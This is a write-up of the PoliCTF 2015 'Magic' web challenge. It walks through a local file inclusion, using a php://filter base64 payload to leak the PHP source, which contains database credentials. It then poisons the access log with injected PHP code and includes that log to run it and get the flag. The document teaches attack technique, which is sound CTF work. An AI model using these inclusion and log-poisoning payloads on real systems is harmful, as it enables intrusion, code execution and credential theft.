Description
MAGIC CHALL
350 Points – SOLVED
I visit this website when I’m sad, contains many magical things that help me to find the solution. Focused on
your problem and find “the magic thing” that will help you to solve it.magic.polictf.it
This challenge was really fun, no guess, only flaws ๐
Just to let you know, there is two ways of solving that challenge : the good one, and… the other which was not the organizers thought. Obviously, I chose the second one ๐
So, where to start? I began by checking all the known pages :
- index : this is the login page
- register : this is the… register page! (oh really?!)
- magic_things : this is the page once you get connected … just have a look at the wonderful screenshot
This website is really classic : index.php which includes some other pages, like register page. We can see that on the URL :
magic.polictf.it/index.php?page=register
The PHP code looks like : $_GET[‘$page’].’.php’;
Obviously, here, we can try to include some things like google.com (yeah, we could try… just to be sure that it won’t work), or other local pages. I tried with page “magic_things” which has been included. Oh Yeah, we got a LFI \o/
So… what now? I’ve been stuck on that step for about an hour, trying to find out some paths (admin, admin/admin, config and so on). I didn’t find anything.
PHP is really nice to us, it always gives us some weird ways to do what we want. Do you know about PHP wrappers ? I guess it has only been made for hacking ๐
There are a lot of wrappers : http, ftp, glob, etc, but the one we need is PHP wrapper :ย php://
With this one, we could read local files by using this command :
php://filter/read=convert.base64-encode/resource=<ressource>
Using this, we just have to use our LFI, in order to get file sources by changing <ressource> with the file we want :ย http://magic.polictf.it/index.php?page=php://filter/read=convert.base64-encode/resource=indexย (I did it with register and magic_things too)
After base64decoding it, we have the PHP source code of the whole website visible parts. Now, we can move on and look for other vulnerabilities in the source code :
<?php ini_set('session.save_path', $_SERVER["DOCUMENT_ROOT"] . '/tmp'); ini_set('error_reporting', "0"); session_start(); require_once("classes/auth/user.php"); require_once("classes/logger/logger.php"); require_once("classes/magic/magic.php"); $page = isset($_GET["page"]) ? $_GET["page"] : "login"; try{ if(isset($_POST["login"])){ if(isset($_POST["username"]) && isset($_POST["password"]) && !is_array($_POST["username"]) && !is_array($_POST["password"])){ $user = new User($_POST["username"], $_POST["password"]); $login = $user -> login(); if($login){ $logger = new Logger(gethostbyaddr($_SERVER["REMOTE_ADDR"]), $user); $logger -> log_access(); header("Location: magic_things.php"); } } }
There are two interesting parts here : First, there are three includes at the beginning, then the Logger class created when we logged in is really relevant (you’ll see why a bit later). As before, I downloaded the source code of the three classes, and began to study them. The magic class is pretty obvious :
<?php class Magic{ public function __construct() { } public function printMagic() { $rand = rand(0, 3); $magic_videos = array("https://www.youtube.com/embed/OZBWfyYtYQY", "https://www.youtube.com/embed/Qyfh16GUNh0", "https://www.youtube.com/embed/Hw0OTgmJtV0", "https://www.youtube.com/embed/qRC4Vk6kisY"); echo '<iframe width="420" height="315" src="'.$magic_videos[$rand].'?autoplay=1" frameborder="0" allowfullscreen></iframe>'; } public function __call($iveNeverSeenAnythingSoMagical, $magicArguments) { $mysqli = new mysqli("localhost", "magic", "nrqdUz4PMKNFZ7iphnzE", "magicchall"); $stmt = $mysqli->prepare("SELECT word FROM magic_word"); $stmt -> execute(); $stmt -> store_result(); $stmt -> bind_result($magic_word); $stmt -> fetch(); echo "I THINK THIS IS THE VERY MAGIC THING: " . $magic_word; session_destroy(); } }
The magical __call method (OMFG magical, like the challenge name! Amazing) will give use the flag, but how can I call it? According to PHP documentation, __call “is triggered when invoking inaccessible methods in an object context.”. So, if I just call $magic->omgidontexistmethod(); I will trigger __call ๐
We’re almost done, the last thing to find out is how to execute PHP code.
Do you remember the Logger class we talked about? OK, let’s study it :
<?php class Logger{ private $host, $filename, $user; public function __construct($host, $user){ $this -> host = $host; $this -> filename = $_SERVER["DOCUMENT_ROOT"]."log/" . $host . "_" . $user->getSurname(); $this -> user = $user; date_default_timezone_set("UTC"); } public function log_access(){ $active = $this -> user -> isActive(); if(!$active){ $this -> initLogFile(); } $fo = fopen($this -> filename, 'a'); if($fo){ $write = fwrite($fo, date('l jS \of F Y h:i:s A') . " - " . $this -> user -> getUsername() .": log in success\n"); fclose($fo); if($write) return true; else return false; } } public function initLogFile(){ $fo = fopen($this -> filename, 'w+'); if($fo){ $write = fwrite($fo, "name|".$this -> user -> getName().";surname|".$this->user->getSurname().";date_creation|UTC:".date('l jS \of F Y h:i:s A')."\n");//write header in logfile. fclose($fo); if($write){ $this -> user -> setActiveBit(1); return true; } else return false; } } }
So, basically, this piece of code will write user access log into $documentroot/log/$host_$surname
Every time the user will connect to the website, a line with his name and surname will be appended to the file.
Do you see the magic in her ?! ๐ What about… hmmm… just creating a new account with xxx.php as surname and for example <?phpย $m = new Magic(); $m->omgidontexistmethod(); ?> as name?! OK, let’s do that! ๐
After the account creation & login, a new log file has been created, which looks like this : /log/<my_hostname>_xxx.php. Now, we just have to try this path in the LFI :
http://magic.polictf.it/index.php?page=/log/<my_hostname>_xxx
annnnnnd… OMFG!
name| I THINK THIS IS THE VERY MAGIC THING: flag{session_regenerate_id()_is_a_very_cool_function_use_it_whenever_you_happen_to_use_session_start()};surname|xxx.php;date_creation|UTC:Friday 10th of July 2015 09:46:50 PM
The flag isย flag{session_regenerate_id()_is_a_very_cool_function_use_it_whenever_you_happen_to_use_session_start()}
As you can see, I never talked about sessions, which, I think, is the expected solution.
So, to sum up : an LFI has been used with php://filter to get source code. In the code, we saw we could write some php code in the access logs. These logs could be used via the LFI to call a false Magic method, triggering the magic __call, which gave us the flag ๐
Links :
The “real” solution, by cebrusfs :ย https://gist.github.com/cebrusfs/582492a4036dc41b2a76
Have fun
The lsd
Source code :ย magic.zip